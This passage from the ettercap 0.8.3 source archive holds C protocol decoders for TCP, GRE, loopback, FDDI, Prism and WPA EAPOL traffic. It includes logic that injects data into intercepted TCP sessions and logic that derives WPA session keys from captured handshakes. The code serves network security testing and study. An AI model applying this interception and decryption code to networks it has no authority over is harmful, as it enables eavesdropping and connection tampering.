defined(OS_LINUX) /* * XXX - hugly hack here ! Mac OS X really sux * * Packets transmitted on interfaces with TCP checksum offloading * don't have valid checksums as presented to the machine's packet-capture * mechanism, as those packets are wrapped around internally rather * than being captured after passing through the network interface, as * the OS doesn't bother computing the checksum and adding it to the packet * it leaves that up to the network interface. * (taken from a bug report by Guy Harris - libpcap engineer) * * For Windows at least, TCP checksum off-loading can be disabled with a * registry setting. * * Same for Linux, but sometimes even ethtool doesnt turn this feature off. * * if the source is the ettercap host, don't display the message */ if (ip_addr_is_ours(&PACKET->L3.src) == E_FOUND) return NULL; #endif if (EC_GBL_CONF->checksum_warning) USER_MSG("Invalid TCP packet from %s:%d : csum [%#x] should be (%#x)\n", ip_addr_ntoa(&PACKET->L3.src, tmp), ntohs(tcp->sport), ntohs(tcp->csum), checksum_shouldbe(tcp->csum, sum)); return NULL; } } /* * complete the passive fingerprint (started at IP layer) * we are interested only in SYN or SYN+ACK packets * else we can destroy the fingerprint */ if ( tcp->flags & TH_SYN ) { fingerprint_push(PACKET->PASSIVE.fingerprint, FINGER_WINDOW, ntohs(tcp->win)); fingerprint_push(PACKET->PASSIVE.fingerprint, FINGER_TCPFLAG, (tcp->flags & TH_ACK) ? 1 : 0); /* this is added to the len of ip header (automatic) */ fingerprint_push(PACKET->PASSIVE.fingerprint, FINGER_LT, tcp->off * 4); while (opt_start < opt_end) { switch (*opt_start) { case TCPOPT_EOL: /* end option EXIT */ opt_start = opt_end; break; case TCPOPT_NOP: fingerprint_push(PACKET->PASSIVE.fingerprint, FINGER_NOP, 1); opt_start++; break; case TCPOPT_SACKOK: fingerprint_push(PACKET->PASSIVE.fingerprint, FINGER_SACK, 1); opt_start += 2; break; case TCPOPT_MAXSEG: opt_start += 2; fingerprint_push(PACKET->PASSIVE.fingerprint, FINGER_MSS, pntos(opt_start)); opt_start += 2; break; case TCPOPT_WSCALE: opt_start += 2; fingerprint_push(PACKET->PASSIVE.fingerprint, FINGER_WS, *opt_start); opt_start++; break; case TCPOPT_TIMESTAMP: fingerprint_push(PACKET->PASSIVE.fingerprint, FINGER_TIMESTAMP, 1); opt_start++; if ((*opt_start) > 0) opt_start += ((*opt_start) - 1); break; default: opt_start++; if (*opt_start > 0) opt_start += (*opt_start - 1); break; } } } else { /* not an interesting packet */ memset(PACKET->PASSIVE.fingerprint, 0, FINGER_LEN); } /* HOOK POINT: HOOK_PACKET_TCP */ hook_point(HOOK_PACKET_TCP, po); /* don't save the sessions in unoffensive mode */ /* don't save sessions if no filters chain are defined */ if (EC_GBL_FILTERS && !EC_GBL_OPTIONS->unoffensive && !EC_GBL_OPTIONS->read) { /* Find or create the correct session */ tcp_create_ident(&ident, PACKET); if (session_get(&s, ident, TCP_IDENT_LEN) == -E_NOTFOUND) { tcp_create_session(&s, PACKET); session_put(s); } /* Trace the sessions for injectors */ SESSION_PASSTHRU(s, PACKET); /* Select right comunication way */ direction = tcp_find_direction(s->ident, ident); SAFE_FREE(ident); /* Record last packet's seq */ status = (struct tcp_status *)s->data; status->way[direction].last_seq = ntohl(tcp->seq) + PACKET->DATA.len; if ( tcp->flags & TH_ACK ) status->way[direction].last_ack = ntohl(tcp->ack); /* SYN counts as one byte */ if ( tcp->flags & TH_SYN ) status->way[direction].last_seq++; /* Take trace of the RST flag (to block injection) */ if ( tcp->flags & TH_RST ) { status->way[direction].injectable |= INJ_FIN; status->way[!direction].injectable |= INJ_FIN; } /* Take trace if this side of connection is mitm'd */ if (PACKET->flags & PO_FORWARDABLE) status->way[direction].injectable |= INJ_FWD; else if (status->way[direction].injectable & INJ_FWD) status->way[direction].injectable ^= INJ_FWD; } /* get the next decoder */ next_decoder = get_decoder(APP_LAYER, PL_DEFAULT); EXECUTE_DECODER(next_decoder); /* don't save the sessions in unoffensive mode */ if (EC_GBL_FILTERS && !EC_GBL_OPTIONS->unoffensive && !EC_GBL_OPTIONS->read) { /* * Take trace of the FIN flag (to block injection) * It's here to permit some strange tricks with filters. */ if ( tcp->flags & TH_FIN ) status->way[direction].injectable |= INJ_FIN; /* * Modification checks and adjustments. * - tcp->seq and tcp->ack accoridng to injected/dropped bytes * - seq_adj according to PACKET->delta for modifications * or the whole payload for dropped packets. * Don't adjust sequence if not forwardable. */ /* XXX [...] over TCP encapsulation not supported yet: * upper layer may modify L3 structure */ if ((PACKET->flags & PO_DROPPED) && (PACKET->flags & PO_FORWARDABLE)) status->way[direction].seq_adj += PACKET->DATA.delta; else if (((PACKET->flags & PO_MODIFIED) || (status->way[direction].seq_adj != 0) || (status->way[!direction].seq_adj != 0)) && (PACKET->flags & PO_FORWARDABLE)) { /* adjust with the previously injected/dropped seq/ack */ ORDER_ADD_LONG(tcp->seq, status->way[direction].seq_adj); ORDER_ADD_LONG(tcp->ack, -status->way[!direction].seq_adj); /* and now save the new delta */ status->way[direction].seq_adj += PACKET->DATA.delta; /* Recalculate checksum */ tcp->csum = CSUM_INIT; tcp->csum = L4_checksum(PACKET); } } return NULL; } /*******************************************/ FUNC_INJECTOR(inject_tcp) { struct ec_session *s = NULL; void *ident = NULL; struct tcp_status *status; int direction; struct tcp_header *tcph; u_char *tcp_payload; u_int32 magic; /* Find the correct session */ tcp_create_ident(&ident, PACKET); if (session_get(&s, ident, TCP_IDENT_LEN) == -E_NOTFOUND) { SAFE_FREE(ident); return -E_NOTFOUND; } /* Rember where the payload has to start */ tcp_payload = PACKET->packet; /* Allocate stack for tcp header */ PACKET->packet -= sizeof(struct tcp_header); /* Create the tcp header */ tcph = (struct tcp_header *)PACKET->packet; tcph->sport = PACKET->L4.src; tcph->dport = PACKET->L4.dst; tcph->x2 = 0; tcph->off = 5; tcph->win = htons(32120); tcph->csum = CSUM_INIT; tcph->urp = 0; tcph->flags = TH_PSH; /* Take the rest of the data from the sessions */ status = (struct tcp_status *)s->data; direction = tcp_find_direction(s->ident, ident); SAFE_FREE(ident); /* Is this an injectable connection? */ if ((status->way[direction].injectable & INJ_FIN) || !(status->way[direction].injectable & INJ_FWD) || !(status->way[!direction].injectable & INJ_FWD)) return -E_NOTHANDLED; tcph->seq = htonl(status->way[direction].last_seq + status->way[direction].seq_adj); tcph->ack = htonl(status->way[direction].last_ack - status->way[!direction].seq_adj); if (status->way[direction].last_ack!=0) tcph->flags |= TH_ACK; /* Prepare data for next injector */ PACKET->session = s->prev_session; LENGTH += sizeof(struct tcp_header); memcpy(&magic, s->prev_session->ident, 4); /* Go deeper into injectors chain */ EXECUTE_INJECTOR(CHAIN_LINKED, magic); /* * Attach the data (LENGTH was adjusted by LINKED injectors). * Set LENGTH to injectable data len. */ LENGTH = EC_GBL_IFACE->mtu - LENGTH; if (LENGTH > PACKET->DATA.inject_len) LENGTH = PACKET->DATA.inject_len; memcpy(tcp_payload, PACKET->DATA.inject, LENGTH); /* Update inject counter into the session */ status->way[direction].seq_adj += LENGTH; /* Calculate checksum */ PACKET->L4.header = (u_char *)tcph; PACKET->L4.len = sizeof(struct tcp_header); PACKET->DATA.len = LENGTH; tcph->csum = L4_checksum(PACKET); return E_SUCCESS; } /*******************************************/ /* Sessions' stuff for tcp packets */ /* * create the ident for a session */ size_t tcp_create_ident(void **i, struct packet_object *po) { struct tcp_ident *ident; /* allocate the ident for that session */ SAFE_CALLOC(ident, 1, sizeof(struct tcp_ident)); /* the magic */ ident->magic = TCP_MAGIC; /* prepare the ident */ memcpy(&ident->L3_src, &po->L3.src, sizeof(struct ip_addr)); memcpy(&ident->L3_dst, &po->L3.dst, sizeof(struct ip_addr)); ident->L4_src = po->L4.src; ident->L4_dst = po->L4.dst; /* return the ident */ *i = ident; /* return the length of the ident */ return sizeof(struct tcp_ident); } /* * compare two session ident * * return 1 if it matches */ int tcp_match(void *id_sess, void *id_curr) { struct tcp_ident *ids = id_sess; struct tcp_ident *id = id_curr; /* sanity check */ BUG_IF(ids == NULL); BUG_IF(id == NULL); /* * is this ident from our level ? * check the magic ! */ if (ids->magic != id->magic) return 0; /* from source to dest */ if (ids->L4_src == id->L4_src && ids->L4_dst == id->L4_dst && !ip_addr_cmp(&ids->L3_src, &id->L3_src) && !ip_addr_cmp(&ids->L3_dst, &id->L3_dst) ) return 1; /* from dest to source */ if (ids->L4_src == id->L4_dst && ids->L4_dst == id->L4_src && !ip_addr_cmp(&ids->L3_src, &id->L3_dst) && !ip_addr_cmp(&ids->L3_dst, &id->L3_src) ) return 1; return 0; } /* * prepare the ident and the pointer to match function * for a dissector. */ void tcp_create_session(struct ec_session **s, struct packet_object *po) { void *ident; DEBUG_MSG("tcp_create_session"); /* allocate the session */ SAFE_CALLOC(*s, 1, sizeof(struct ec_session)); /* create the ident */ (*s)->ident_len = tcp_create_ident(&ident, po); /* link to the session */ (*s)->ident = ident; /* the matching function */ (*s)->match = &tcp_match; /* alloca of data elements */ SAFE_CALLOC((*s)->data, 1, sizeof(struct tcp_status)); } /* * Find right comunication way for session data. * First array data is relative to the direction first caught. */ int tcp_find_direction(void *ids, void *id) { if (memcmp(ids, id, TCP_IDENT_LEN)) return 1; return 0; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/protocols/ec_gre.c0000644000175000017500000000575213505247364017410 0ustar koeppeakoeppea/* ettercap -- GRE decoder module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include /* globals */ /* Flag mask - * (taken from wireshark gre decoder * by Brad Robel-Forrest) */ #define GH_B_C 0x8000 #define GH_B_R 0x4000 #define GH_B_K 0x2000 #define GH_B_S 0x1000 #define GH_B_s 0x0800 #define GH_B_RECUR 0x0700 #define GH_P_A 0x0080 #define GH_P_FLAGS 0x0078 #define GH_R_FLAGS 0x00F8 #define GH_B_VER 0x0007 /* protos */ FUNC_DECODER(decode_gre); void gre_init(void); /*******************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init gre_init(void) { add_decoder(PROTO_LAYER, NL_TYPE_GRE, decode_gre); } FUNC_DECODER(decode_gre) { FUNC_DECODER_PTR(next_decoder); u_int16 flags; u_int16 proto; u_int16 *gre_len = NULL; DECODED_LEN = 4; flags = pntos(DECODE_DATA); proto = pntos(DECODE_DATA + sizeof(flags)); /* Parse the flags and see which fields are present */ if (flags & GH_B_C || flags & GH_B_R) DECODED_LEN += 4; if (flags & GH_B_K) { /* We have to deal with it if we modify the packet */ gre_len = (u_int16 *)(DECODE_DATA + DECODED_LEN); DECODED_LEN += 4; /* Use L4.len to store the whole gre packet len. * It will be used by some plugins, and it will be * overwritten by the real TCP/UDP decoders. */ PACKET->L4.len = ntohs(*gre_len); } if (flags & GH_B_S) DECODED_LEN += 4; if (flags & GH_P_A) DECODED_LEN += 4; /* HOOK POINT: HOOK_PACKET_GRE */ hook_point(HOOK_PACKET_GRE, PACKET); SESSION_CLEAR(PACKET); /* get the next decoder */ next_decoder = get_decoder(NET_LAYER, proto); EXECUTE_DECODER(next_decoder); /* Adjust GRE payload len (if present) */ if (!EC_GBL_OPTIONS->unoffensive && !EC_GBL_OPTIONS->read && (PACKET->flags & PO_MODIFIED) && (PACKET->flags & PO_FORWARDABLE)) { /* XXX - Feature checksum re-calculation (if present) */ /* XXX - Feature packet injection/dropping */ if (gre_len) ORDER_ADD_SHORT(*gre_len, PACKET->DATA.delta); } return NULL; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/protocols/ec_null.c0000644000175000017500000000627613505247364017607 0ustar koeppeakoeppea/* ettercap -- Null/Loopback decoder module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include /* globals */ struct null_header { u_int32 proto; /* next protocol (usually) in host-byte order */ }; /* protos */ FUNC_DECODER(decode_null); FUNC_ALIGNER(align_null); void null_init(void); /* * this function initiates the decoder and adds the entry in * the decoder table */ void __init null_init(void) { add_decoder(LINK_LAYER, IL_TYPE_NULL, decode_null); add_aligner(IL_TYPE_NULL, align_null); } FUNC_DECODER(decode_null) { FUNC_DECODER_PTR(next_decoder); struct null_header *null; u_int32 lltype, proto; DECODED_LEN = sizeof(struct null_header); null = (struct null_header*)DECODE_DATA; /* * byte order can vary depending on the endianess of the system * the packets have been captured */ proto = ntohl(null->proto); /* * the proto (mainly for IPv6) need to be treated differently * because because for the different BSD derivates the values * have not been standardized */ switch (proto) { case AF_INET: /* IPv4 on any system */ lltype = LL_TYPE_IP; break; #if AF_INET6 != AF_INET6_BSD case AF_INET6_BSD: /* IPv6 on NetBSD,OpenBSD,BSD/OS */ #endif #if AF_INET6 != AF_INET6_FREEBSD case AF_INET6_FREEBSD: /* IPv6 on FreeBSD,DragonFlyBSD */ #endif #if AF_INET6 != AF_INET6_DARWIN case AF_INET6_DARWIN: /* IPv6 on Darwin/Mac OS X */ #endif #if AF_INET6 != AF_INET6_LINUX case AF_INET6_LINUX: /* IPv6 on Linux */ #endif case AF_INET6: /* IPv6 on the compiling system */ lltype = LL_TYPE_IP6; break; default: /* upper protocol not supported by ettercap */ lltype = 0; } /* fill the packet object */ PACKET->L2.header = (u_char*)DECODE_DATA; PACKET->L2.proto = IL_TYPE_NULL; PACKET->L2.len = DECODED_LEN; /* set dummy L2 addresses as they doesn't exist in this proto */ memset(PACKET->L2.src, 0, ETH_ADDR_LEN); memset(PACKET->L2.dst, 0, ETH_ADDR_LEN); /* Hooking on a Loopback interface doesn't make much sense */ /* hand upper protocols over to the next decoder */ next_decoder = get_decoder(NET_LAYER, lltype); EXECUTE_DECODER(next_decoder); return NULL; } /* * alignment function */ FUNC_ALIGNER(align_null) { /* 16 is the nearest multiplier of 4 */ return (16 - sizeof(struct null_header)); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/protocols/ec_fddi.c0000644000175000017500000000663613505247364017543 0ustar koeppeakoeppea/* ettercap -- FDDI decoder module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include /* globals */ struct fddi_header { u_int8 frame_control; u_int8 dha[FDDI_ADDR_LEN]; u_int8 sha[FDDI_ADDR_LEN]; u_int8 llc_dsap; u_int8 llc_ssap; u_int8 llc_control; u_int8 llc_org_code[3]; /* * ARGH ! org_core is 3 and it has disaligned the struct ! * we can rely in on the alignment of the buffer... */ u_int16 proto; }; /* encapsulated ethernet */ u_int8 FDDI_ORG_CODE[3] = {0x00, 0x00, 0x00}; /* protos */ FUNC_DECODER(decode_fddi); FUNC_BUILDER(build_fddi); FUNC_ALIGNER(align_fddi); void fddi_init(void); /*******************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init fddi_init(void) { add_decoder(LINK_LAYER, IL_TYPE_FDDI, decode_fddi); add_builder(IL_TYPE_FDDI, build_fddi); add_aligner(IL_TYPE_FDDI, align_fddi); } FUNC_DECODER(decode_fddi) { FUNC_DECODER_PTR(next_decoder); struct fddi_header *fddi; DECODED_LEN = sizeof(struct fddi_header); fddi = (struct fddi_header *)DECODE_DATA; /* org_code != encapsulated ethernet not yet supported */ if (memcmp(fddi->llc_org_code, FDDI_ORG_CODE, 3)) NOT_IMPLEMENTED(); /* fill the packet object with sensitive data */ PACKET->L2.header = (u_char *)DECODE_DATA; PACKET->L2.proto = IL_TYPE_FDDI; PACKET->L2.len = DECODED_LEN; memcpy(PACKET->L2.src, fddi->sha, FDDI_ADDR_LEN); memcpy(PACKET->L2.dst, fddi->dha, FDDI_ADDR_LEN); /* HOOK POINT : HOOK_PACKET_fddi */ hook_point(HOOK_PACKET_FDDI, po); /* leave the control to the next decoder */ next_decoder = get_decoder(NET_LAYER, ntohs(fddi->proto)); EXECUTE_DECODER(next_decoder); /* fddi header does not care about modification of upper layer */ return NULL; } /* * function to create a token ring header */ FUNC_BUILDER(build_fddi) { return libnet_autobuild_fddi( LIBNET_FDDI_FC_REQD | 0x04, /* Asynch LLC - priority 4 */ dst, /* token ring destination */ LIBNET_SAP_SNAP, /* DSAP -> SNAP encap */ LIBNET_SAP_SNAP, /* SSAP -> SNAP encap */ 0x03, /* Unnumbered info/frame */ FDDI_ORG_CODE, /* Organization Code */ proto, /* protocol type */ l); /* libnet handle */ } /* * alignment function */ FUNC_ALIGNER(align_fddi) { return (24 - sizeof(struct fddi_header)); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/protocols/ec_wifi_prism.c0000644000175000017500000000324513505247364020776 0ustar koeppeakoeppea/* ettercap -- Prism2 header for WiFi packets Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include /* protos */ FUNC_DECODER(decode_prism); FUNC_ALIGNER(align_prism); void prism_init(void); /*******************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init prism_init(void) { add_decoder(LINK_LAYER, IL_TYPE_PRISM, decode_prism); add_aligner(IL_TYPE_PRISM, align_prism); } FUNC_DECODER(decode_prism) { FUNC_DECODER_PTR(next_decoder); /* Simply skip the first 0x90 Bytes (the Prism2 header) and pass * the whole packet on to the wifi layer */ DECODED_LEN = 0x90; next_decoder = get_decoder(LINK_LAYER, IL_TYPE_WIFI); EXECUTE_DECODER(next_decoder); return NULL; } /* * alignment function */ FUNC_ALIGNER(align_prism) { /* already aligned */ return 0; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/protocols/ec_wifi_eapol.c0000644000175000017500000002721613505247364020750 0ustar koeppeakoeppea/* ettercap -- EAP On Line 802.1x authentication packets for wifi Copyright (C) The Ettercap Dev Team This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include /* globals */ #define EAPOL_4WAY_MESSAGE_ZERO 0 #define EAPOL_4WAY_MESSAGE_ONE 1 #define EAPOL_4WAY_MESSAGE_TWO 2 #define EAPOL_4WAY_MESSAGE_THREE 3 #define EAPOL_4WAY_MESSAGE_FOUR 4 #define EAPOL_4WAY_MESSAGE_GROUP 5 /* protos */ FUNC_DECODER(decode_eapol); void eapol_init(void); static int eapol_4way_handshake(struct eapol_key_header *eapol_key); static int eapol_enc_algo(struct eapol_key_header *eapol_key); /*******************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init eapol_init(void) { add_decoder(NET_LAYER, LL_TYPE_8021x, decode_eapol); } FUNC_DECODER(decode_eapol) { struct eapol_header *eapol; struct eapol_key_header *eapol_key; struct rsn_ie_header *rsn_ie; char sta_address[ETH_ASCII_ADDR_LEN]; u_char sta[ETH_ADDR_LEN], bssid[ETH_ADDR_LEN]; int message, algo; struct wpa_sa sa; char tmp[512]; /* don't complain about unused var */ (void) DECODE_DATALEN; /* analyze these only if we have a wpa key */ if (EC_GBL_WIFI->wifi_schema != WIFI_WPA) return NULL; /* get the EAPOL packet */ DECODED_LEN = sizeof(struct eapol_header); eapol = (struct eapol_header *)DECODE_DATA; /* only interested in EAPOL KEY packets */ if (eapol->type != EAPOL_KEY) return NULL; /* get the EAPOL KEY packet */ eapol_key = (struct eapol_key_header *)(eapol + 1); DECODED_LEN += sizeof(struct eapol_key_header) + ntohs(eapol_key->key_data_len); /* only interested in RSN KEY (for CCMP) or WPA KEY (for TKIP) packets */ if (eapol_key->type != EAPOL_KEY_RSN && eapol_key->type != EAPOL_KEY_WPA) return NULL; /* check the encryption algorithm */ algo = eapol_enc_algo(eapol_key); /* check the 4-way handshake message number */ message = eapol_4way_handshake(eapol_key); /* invalid packet */ if (message <= 0) { return NULL; } /* * message 1 and 3 are from the AP * message 2 and 4 are from the STA * group keys come from AP */ if (message == EAPOL_4WAY_MESSAGE_GROUP) { memcpy(sta, PACKET->L2.dst, ETH_ADDR_LEN); memcpy(bssid, PACKET->L2.src, ETH_ADDR_LEN); } if (message % 2) { memcpy(sta, PACKET->L2.dst, ETH_ADDR_LEN); memcpy(bssid, PACKET->L2.src, ETH_ADDR_LEN); } else { memcpy(sta, PACKET->L2.src, ETH_ADDR_LEN); memcpy(bssid, PACKET->L2.dst, ETH_ADDR_LEN); } mac_addr_ntoa(sta, sta_address); /* handle the Group Key message */ if (message == EAPOL_4WAY_MESSAGE_GROUP) { USER_MSG("EAPOL: group key detected...\n"); /* * the group key is encrypted and we need a valid completed sa to decrypt it * the sa must be at state four */ if (wpa_sess_get(sta, &sa) == E_SUCCESS && sa.state == EAPOL_4WAY_MESSAGE_FOUR) { rsn_ie = (struct rsn_ie_header *)(eapol_key + 1); wpa_decrypt_broadcast_key(eapol_key, rsn_ie, &sa); } return NULL; } USER_MSG("EAPOL packet: [%s] 4-way handshake %d [%s]\n", sta_address, message, (algo == WPA_KEY_TKIP) ? "TKIP (WPA)" : "CCMP (WPA2)"); switch (message) { case EAPOL_4WAY_MESSAGE_ONE: /* * On reception of Message 1, the Supplicant determines whether the Key Replay Counter field value has been * used before with the current PMKSA. If the Key Replay Counter field value is less than or equal to the current * local value, the Supplicant discards the message. */ /* save ANonce (from authenticator) to derive the PTK with the SNonce (from the 2 message) */ memcpy(sa.ANonce, eapol_key->key_nonce, WPA_NONCE_LEN); DEBUG_MSG("WPA ANonce : %s", str_tohex(sa.ANonce, WPA_NONCE_LEN, tmp, sizeof(tmp))); /* get the Key Descriptor Version (to select algorithm used in decryption -CCMP or TKIP-) */ sa.algo = algo; /* remember the state of the 4-way handshake */ sa.state = EAPOL_4WAY_MESSAGE_ONE; /* save the status of the SA, overwrite it if it was an old one */ wpa_sess_add(sta, &sa); break; case EAPOL_4WAY_MESSAGE_TWO: /* retrieve the session for this STA and check that the sate is consistent */ if (wpa_sess_get(sta, &sa) != E_SUCCESS || sa.state != EAPOL_4WAY_MESSAGE_ONE) break; /* * On reception of Message 2, the Authenticator checks that the key replay counter corresponds to the * outstanding Message 1. If not, it silently discards the message. * If the calculated MIC does not match the MIC that the Supplicant included in the EAPOL-Key frame, * the Authenticator silently discards Message 2. */ memcpy(sa.SNonce, eapol_key->key_nonce, WPA_NONCE_LEN); DEBUG_MSG("WPA SNonce : %s", str_tohex(sa.SNonce, WPA_NONCE_LEN, tmp, sizeof(tmp))); /* derive the PTK from the BSSID, STA MAC, PMK (WPA-PSK), SNonce, ANonce */ wpa_generate_PTK(bssid, sta, EC_GBL_WIFI->wkey, sa.SNonce, sa.ANonce, (sa.algo == WPA_KEY_TKIP) ? 512 : 384, sa.ptk); DEBUG_MSG("WPA PTK : %s", str_tohex(sa.ptk, WPA_PTK_LEN, tmp, sizeof(tmp))); /* verify the MIC (compare the MIC in the packet included in this message with a MIC calculated with the PTK) */ if (wpa_check_MIC(eapol, eapol_key, DECODED_LEN, sa.ptk, sa.algo) != E_SUCCESS) { USER_MSG("WPA MIC does not match\n"); break; } DEBUG_MSG("WPA MIC : %s", str_tohex(eapol_key->key_MIC, WPA_MICKEY_LEN, tmp, sizeof(tmp))); /* remember the state of the 4-way handshake */ sa.state = EAPOL_4WAY_MESSAGE_TWO; /* save the status of the SA, overwrite it if it was an old one */ wpa_sess_add(sta, &sa); break; case EAPOL_4WAY_MESSAGE_THREE: /* retrieve the session for this STA and check that the sate is consistent */ if (wpa_sess_get(sta, &sa) != E_SUCCESS || sa.state != EAPOL_4WAY_MESSAGE_TWO) break; /* * On reception of Message 3, the Supplicant silently discards the message if the Key Replay Counter field * value has already been used or if the ANonce value in Message 3 differs from the ANonce value in Message 1 * If using WPA2 PSK, message 3 will contain an RSN for the group key (GTK KDE). * In order to properly support decrypting WPA2-PSK packets, we need to parse this to get the group key. */ rsn_ie = (struct rsn_ie_header *)(eapol_key + 1); wpa_decrypt_broadcast_key(eapol_key, rsn_ie, &sa); /* remember the state of the 4-way handshake */ sa.state = EAPOL_4WAY_MESSAGE_THREE; /* save the status of the SA, overwrite it if it was an old one */ wpa_sess_add(sta, &sa); break; case EAPOL_4WAY_MESSAGE_FOUR: /* retrieve the session for this STA and check that the sate is consistent */ if (wpa_sess_get(sta, &sa) != E_SUCCESS || sa.state != EAPOL_4WAY_MESSAGE_THREE) break; /* * On reception of Message 4, the Authenticator verifies that the Key Replay Counter field value is one * that it used on this 4-Way Handshake; if it is not, it silently discards the message. * If the calculated MIC does not match the MIC that the Supplicant included in the EAPOL-Key frame, the * Authenticator silently discards Message 4. */ /* we are done ! just copy the decryption key from PTK */ memcpy(sa.decryption_key, sa.ptk + 32, WPA_DEC_KEY_LEN); USER_MSG("WPA KEY : %s\n", str_tohex(sa.decryption_key, WPA_DEC_KEY_LEN, tmp, sizeof(tmp))); /* remember the state of the 4-way handshake */ sa.state = EAPOL_4WAY_MESSAGE_FOUR; /* save the status of the SA, overwrite it if it was an old one */ wpa_sess_add(sta, &sa); break; } return NULL; } static int eapol_4way_handshake(struct eapol_key_header *eapol_key) { u_int16 key_info = ntohs(eapol_key->key_info); /* IEEE-802.11i-2004 8.5.3 */ /* * all the 4-way handshake packets have the pairwise bit set * if not, it is a Group Key, and should be handled in a different way */ if ((key_info & WPA_KEY_PAIRWISE) == 0) { /* Group Key (Sec=0, Mic=0, Ack=1) */ if ((key_info & WPA_KEY_SECURE) == 0 && (key_info & WPA_KEY_MIC) == 0 && (key_info & WPA_KEY_ACK) != 0) { return EAPOL_4WAY_MESSAGE_GROUP; } return -E_NOTHANDLED; } /* message 1: Authenticator->Supplicant (Sec=0, Mic=0, Ack=1, Inst=0, Key=1(pairwise), KeyRSC=0, Nonce=ANonce, MIC=0) */ if ((key_info & WPA_KEY_SECURE) == 0 && (key_info & WPA_KEY_MIC) == 0 && (key_info & WPA_KEY_ACK) != 0 && (key_info & WPA_KEY_INSTALL) == 0) return EAPOL_4WAY_MESSAGE_ONE; /* message 2: Supplicant->Authenticator (Sec=0, Mic=1, Ack=0, Inst=0, Key=1(pairwise), KeyRSC=0, Nonce=SNonce, MIC=MIC(KCK,EAPOL)) * to distinguish between message 2 and 4, check the len of the key_data_len (should be != 0) */ if ((key_info & WPA_KEY_SECURE) == 0 && (key_info & WPA_KEY_MIC) != 0 && (key_info & WPA_KEY_ACK) == 0 && (key_info & WPA_KEY_INSTALL) == 0 && eapol_key->key_data_len != 0) return EAPOL_4WAY_MESSAGE_TWO; /* message 3: * CCMP: Authenticator->Supplicant (Sec=1/0, Mic=1, Ack=1, Inst=1, Key=1(pairwise), KeyRSC=???, Nonce=ANonce, MIC=1) * TKIP: Authenticator->Supplicant (Sec=0, Mic=1, Ack=1, Inst=1, Key=1(pairwise), KeyRSC=???, Nonce=ANonce, MIC=1) */ if ( /* ((key_info & WPA_KEY_TKIP) || (key_info & WPA_KEY_SECURE) != 0) && */ (key_info & WPA_KEY_MIC) != 0 && (key_info & WPA_KEY_ACK) != 0 && (key_info & WPA_KEY_INSTALL) != 0) return EAPOL_4WAY_MESSAGE_THREE; /* message 4: * CCMP: Supplicant->Authenticator (Sec=1/0, Mic=1, Ack=0, Inst=0, Key=1(pairwise), KeyRSC=0, Nonce=0, MIC=MIC(KCK,EAPOL)) * TKIP: Supplicant->Authenticator (Sec=0, Mic=1, Ack=0, Inst=0, Key=1(pairwise), KeyRSC=0, Nonce=0, MIC=MIC(KCK,EAPOL)) * to distinguish between message 2 and 4, check the len of the key_data_len (should be == 0) */ if (/* ((key_info & WPA_KEY_TKIP) || (key_info & WPA_KEY_SECURE) != 0) && */ (key_info & WPA_KEY_MIC) != 0 && (key_info & WPA_KEY_ACK) == 0 && (key_info & WPA_KEY_INSTALL) == 0 && eapol_key->key_data_len == 0) return EAPOL_4WAY_MESSAGE_FOUR; /* invalid packet */ return -E_NOTHANDLED; } static int eapol_enc_algo(struct eapol_key_header *eapol_key) { u_int16 key_info = ntohs(eapol_key->key_info); if ((key_info & WPA_KEY_TKIP) != 0) return WPA_KEY_TKIP; if ((key_info & WPA_KEY_CCMP) != 0) return WPA_KEY_CCMP; return 0; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/protocols/ec_ip6.c0000644000175000017500000002123513505247364017323 0ustar koeppeakoeppea/* ettercap -- IPv6 decoder module Copyright (C) 